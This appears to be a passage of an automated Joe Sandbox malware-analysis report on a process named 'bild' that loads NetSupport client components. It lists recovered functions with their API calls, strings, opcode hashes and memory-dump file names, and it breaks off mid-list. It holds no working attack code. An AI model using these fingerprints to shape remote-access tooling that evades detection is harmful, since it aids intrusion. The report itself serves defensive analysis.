Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: DirectoryInformationSystemVolume__splitpath_helper__wsplitpath
String ID:
API String ID: 1847508633-0
Opcode ID: 7498e584b69856d4904a5e87c0faea6464729445070a8fc0c411536d822b12a4
Instruction ID: 71a9510f599fa1c136cb45ff21797ad5c5790827a759e4d2b52c0b71367846c8
Opcode Fuzzy Hash: 7498e584b69856d4904a5e87c0faea6464729445070a8fc0c411536d822b12a4
Instruction Fuzzy Hash: 34116175A4021DABEB14DF94CD42FE9F378AB48B04F404199E7246B1C0E7B12A48CB65

Function 1109E9E0 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00020008,00000000,?,?,110F7D14,00000001,111417B8,_debug,TraceCopyData,00000000,00000000,?,?,00000000,00000000), ref: 1109EA01
OpenProcessToken.ADVAPI32(00000000,?,?,110F7D14,00000001,111417B8,_debug,TraceCopyData,00000000,00000000,?,?,00000000,00000000), ref: 1109EA08

Part of subcall function 1109E910: GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,1102FCB2,?,00000000), ref: 1109E948
Part of subcall function 1109E910: GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000001,00000001), ref: 1109E964
Part of subcall function 1109E910: AllocateAndInitializeSid.ADVAPI32(?,00000001,00000012,00C22EB8,00C22EB8,00C22EB8,00C22EB8,00C22EB8,00C22EB8,00C22EB8,111EEB64,?,00000001,00000001), ref: 1109E990
Part of subcall function 1109E910: EqualSid.ADVAPI32(?,00C22EB8,?,00000001,00000001), ref: 1109E9A3

CloseHandle.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 1109EA27

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Token$InformationProcess$AllocateCloseCurrentEqualHandleInitializeOpen
String ID:
API String ID: 2256153495-0
Opcode ID: 3278d9adbe4d3509b3b3548b9dad78e2718189f4cc0d765404142b0664a012dd
Instruction ID: 36b54363b319bb335bc5da0d0e9bdd0405b18079b131e91390d3ecc07929186c
Opcode Fuzzy Hash: 3278d9adbe4d3509b3b3548b9dad78e2718189f4cc0d765404142b0664a012dd
Instruction Fuzzy Hash: DCF05E78A15328EFD709CFF5D88482EB7A9AF08208700447DF629D3205E631EE009F50

Function 1110F720 Relevance: 3.8, APIs: 3, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(111F0908,A1BC2D8B,?,?,?,?,-00000001,11182078,000000FF,?,1110F7F8,00000001,?,11169683,?), ref: 1110F754
EnterCriticalSection.KERNEL32(111F0908,A1BC2D8B,?,?,?,?,-00000001,11182078,000000FF,?,1110F7F8,00000001,?,11169683,?), ref: 1110F770
LeaveCriticalSection.KERNEL32(111F0908,?,?,?,?,-00000001,11182078,000000FF,?,1110F7F8,00000001,?,11169683,?), ref: 1110F7B8

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID:
API String ID: 3991485460-0
Opcode ID: de9cc3b242b9749762f72f1a9abe3d064888d8cc99300df6bb387b99347c91a8
Instruction ID: 724175da6b3b5eb63f60f43096b8b9410b0df93e13cce3f4766159a849acac97
Opcode Fuzzy Hash: de9cc3b242b9749762f72f1a9abe3d064888d8cc99300df6bb387b99347c91a8
Instruction Fuzzy Hash: 3D11C675A0061AAFE700CF65CD85B5BF7A9FB88714F010129E829E3340F7359808CB92

Function 11068950 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,00000000), ref: 11068A12

Strings

??CTL32.DLL, xrefs: 110689D3

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: ??CTL32.DLL
API String ID: 1029625771-2984404022
Opcode ID: f114da26ba1a202df3ee97640f196ffb6169a957819133968d89773a25347f90
Instruction ID: 38d720fc7c26638894156a2f8924bac31edb6b50614c34829f37a9a02c5b1e22
Opcode Fuzzy Hash: f114da26ba1a202df3ee97640f196ffb6169a957819133968d89773a25347f90
Instruction Fuzzy Hash: 5831F5B2A04781DFE711CF59DC40B5AF7E8FB45724F0482AAE92897380E735A900CB92

Function 6C5D5840 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

inet_ntoa.WSOCK32(00000080,?,00000000,?,6C5D8F91,00000000,00000000,6C61B8DA,?,00000080), ref: 6C5D5852

Strings

gfff, xrefs: 6C5D5890

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: inet_ntoa
String ID: gfff
API String ID: 1879540557-1553575800
Opcode ID: 30d771e4efecf2de1b4b7cdfc7e46be8ffc974b213b36202af62f32905784b99
Instruction ID: 477018614ad807c104869332b51e32acb4aac172d6e7d0a05e9ed5f9057b1eb7
Opcode Fuzzy Hash: 30d771e4efecf2de1b4b7cdfc7e46be8ffc974b213b36202af62f32905784b99
Instruction Fuzzy Hash: 611189326083D68BC3068A2EAC602D7BFD9DB86251B2D4569D8C9CB701C611E84AC7D0

Function 11026B40 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetDriveTypeA.KERNEL32(?), ref: 11026B6D

Strings

?:\, xrefs: 11026B62

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: DriveType
String ID: ?:\
API String ID: 338552980-2533537817
Opcode ID: b7a90a31e7e06615914d848c67eda86d39421f745c303f5cb5263aa0826e519a
Instruction ID: c0198090b602517e4922a9d0df48f1c050a77905515f879100581957a4b6d58d
Opcode Fuzzy Hash: b7a90a31e7e06615914d848c67eda86d39421f745c303f5cb5263aa0826e519a
Instruction Fuzzy Hash: 64F09065C083DA2AEB23DE608844596BFE84B463A8F5488D9DCE887541D165E1C58791

Function 110ED1A0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32registryCOMMON

Download Yara Rule

APIs

Part of subcall function 110ED160: RegCloseKey.KERNEL32(?,?,?,110ED1AD,?,00000000,00000001,?,1103053F,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED16D

RegOpenKeyExA.KERNEL32(?,00000056,00000000,00020019,?,?,00000000,00000001,?,1103053F,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED1BC

Part of subcall function 110ECF40: wvsprintfA.USER32(?,00020019,?), ref: 110ECF6B

Strings

Error %d Opening regkey %s, xrefs: 110ED1CA

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseOpenwvsprintf
String ID: Error %d Opening regkey %s
API String ID: 1772833024-3994271378
Opcode ID: 503dc904c3fe8a3076b33c474287afaa84f0668cd560d7128fb7a99791884548
Instruction ID: 33cf1931661e2960d377c619dd89904b97ea319b13ae6f8f8dcb9591a9c6775e
Opcode Fuzzy Hash: 503dc904c3fe8a3076b33c474287afaa84f0668cd560d7128fb7a99791884548
Instruction Fuzzy Hash: 60E0927A6012187FD210961B9C89F9BBB2DDB856A4F000069FD1487201C972EC1082B0

Function 110ED160 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(?,?,?,110ED1AD,?,00000000,00000001,?,1103053F,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED16D

Part of subcall function 110ECF40: wvsprintfA.USER32(?,00020019,?), ref: 110ECF6B

Strings

Error %d closing regkey %x, xrefs: 110ED17D

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Closewvsprintf
String ID: Error %d closing regkey %x
API String ID: 843752472-892920262
Opcode ID: c03f117d653720bd7e371fb7cf4e9287afa325923508867b0082396cad6e8e67
Instruction ID: 72b2cf3cdd4b8fd577e25b07e2838f9a8e734d144b1f96517ba84771a8eadcbb
Opcode Fuzzy Hash: c03f117d653720bd7e371fb7cf4e9287afa325923508867b0082396cad6e8e67
Instruction Fuzzy Hash: 4EE08679A022126BD3289A1EAC18F5BB6E8DFC4300F1604ADF850C3240DA70D8018664

Function 111463D0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(NSMTRACE,?,1102DE54,11026580,0286B8D0,?,?,?,00000100,?,?,00000009), ref: 111463E9

Part of subcall function 111456A0: GetModuleHandleA.KERNEL32(NSMTRACE,11194AB8), ref: 111456BA

Strings

NSMTRACE, xrefs: 111463E4

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID: NSMTRACE
API String ID: 4133054770-4175627554
Opcode ID: e82bf018f903e4ea25f627aae3f92f4affe26e4f9d0fd19bd58a96316eee6a50
Instruction ID: cf49eb18fee32400038a48a9d82a087192b912de878353ac6c822cd252c7dc11
Opcode Fuzzy Hash: e82bf018f903e4ea25f627aae3f92f4affe26e4f9d0fd19bd58a96316eee6a50
Instruction Fuzzy Hash: 50D05EB520033BCFDB489F7995B4269F7EAAB4CA1D3540075E469C2A07EBB0D848C714

Function 11025CD0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(psapi.dll,?,110302C4), ref: 11025CD8

Strings

psapi.dll, xrefs: 11025CD1

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: psapi.dll
API String ID: 1029625771-80456845
Opcode ID: 84de3e9765d3447a8351f1b6b6d8569fbb25dc0ee6f9e080ef7528236ef5d75a
Instruction ID: d2f0b82a95d6fc878682dccaf19b7a180456f678ee46f3fe844c8dbdc6f5fb44
Opcode Fuzzy Hash: 84de3e9765d3447a8351f1b6b6d8569fbb25dc0ee6f9e080ef7528236ef5d75a
Instruction Fuzzy Hash: C9E001B1A11B248FC3B4CF3AA844642FAF0BB18A103118A3ED4AEC3A00E330A5448F80

Function 6C5D4F70 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(psapi.dll,?,6C5D8DC8), ref: 6C5D4F78

Strings

psapi.dll, xrefs: 6C5D4F71

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: psapi.dll
API String ID: 1029625771-80456845
Opcode ID: da9ba6b9108b5a1da7a69163ff45c9fd3a871f795f47dd764ef31cb7843d73a1
Instruction ID: 346e92fae3619d098be94a854bc999274014aaf96139f4514e4f6619d58bc06a
Opcode Fuzzy Hash: da9ba6b9108b5a1da7a69163ff45c9fd3a871f795f47dd764ef31cb7843d73a1
Instruction Fuzzy Hash: 11E001B1A01B108F87B0CF3EA544642BEF0BB086523118E2EA09EC3A00E730A5848F84

Function 11014F80 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(nslsp.dll,00000000,1102EF80,MiniDumpType,000000FF,00000000,00000000,?,?,View,Client,Bridge), ref: 11014F8E

Strings

nslsp.dll, xrefs: 11014F83

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: nslsp.dll
API String ID: 1029625771-3933918195
Opcode ID: 09252c17772e29db9c623e4f38910c48fc62fdaa09ce42d8982732414e450a92
Instruction ID: 60eb6736f29bf142f24d4cfcc231741db50fe0cc1946b431100be770a733e412
Opcode Fuzzy Hash: 09252c17772e29db9c623e4f38910c48fc62fdaa09ce42d8982732414e450a92
Instruction Fuzzy Hash: E7C092B17152388FE3685F7CAC085D2FAE4EB48A91351986EE4B5D3308E6B09C40CFE4

Function 11074DC0 Relevance: 3.1, APIs: 2, Instructions: 80COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 11074E1F
FreeLibrary.KERNEL32(00000000,?,?,?,?,00000000,11194245,?), ref: 11074E89

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: FreeLibrary_memset
String ID:
API String ID: 1654520187-0
Opcode ID: f6776980cd6796a903c6ab2b2bc3f730c5ac8cd4990655cc289426affdaed8f3
Instruction ID: 144a06a128bfe4de4bcaa8ee3b5ec3a734aa963de7831f9780c3e5d6e94517af
Opcode Fuzzy Hash: f6776980cd6796a903c6ab2b2bc3f730c5ac8cd4990655cc289426affdaed8f3
Instruction Fuzzy Hash: 6E218376D04228A7D710DA99EC41FEFFBACEB44325F4045AAE909D7200D7315A55CBE1

Function 110883D0 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110883EF
InitializeCriticalSection.KERNEL32(0000E3D0,00000000,?,11070993,00000000,00000000,1118201E,000000FF), ref: 11088460

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
